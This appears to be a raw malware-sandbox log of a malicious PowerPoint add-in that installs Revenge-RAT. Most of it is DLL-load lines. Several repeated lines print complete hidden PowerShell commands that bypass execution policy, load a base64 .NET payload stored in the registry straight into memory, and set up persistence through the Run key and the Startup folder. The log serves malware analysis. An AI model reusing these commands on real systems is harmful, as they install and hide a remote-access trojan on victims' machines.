Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RRvZwfR.vbs" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js'));wscript 'C:\Users\user\AppData\Roaming\RG.js'" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" C:\Users\user\AppData\Roaming\RG.js Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: msiltcfg.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: msi.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: devrtl.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: avicap32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msvfw32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: dwmapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe Section loaded: dwmapi.dll
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: avicap32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winmm.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msvfw32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn2.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntdsapi.dll
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\InprocServer32 Jump to behavior
Source: Documentosrs.LNK.4.dr LNK file: ..\..\..\..\..\Desktop\Documentosrs.ppam
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Window found: window name: SysTabControl32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: E:\N A P O L E O N\My Projects\Revenge-RAT\Revenge-RAT v.0.3\Revenge-RAT v.0.3\Plugins\UNI\UNI\obj\Debug\UNI.pdb@ source: powershell.exe, 0000000E.00000002.432730170.0000000002866000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.434619199.000000001A670000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.432730170.0000000002844000.00000004.00000800.00020000.00000000.sdmp
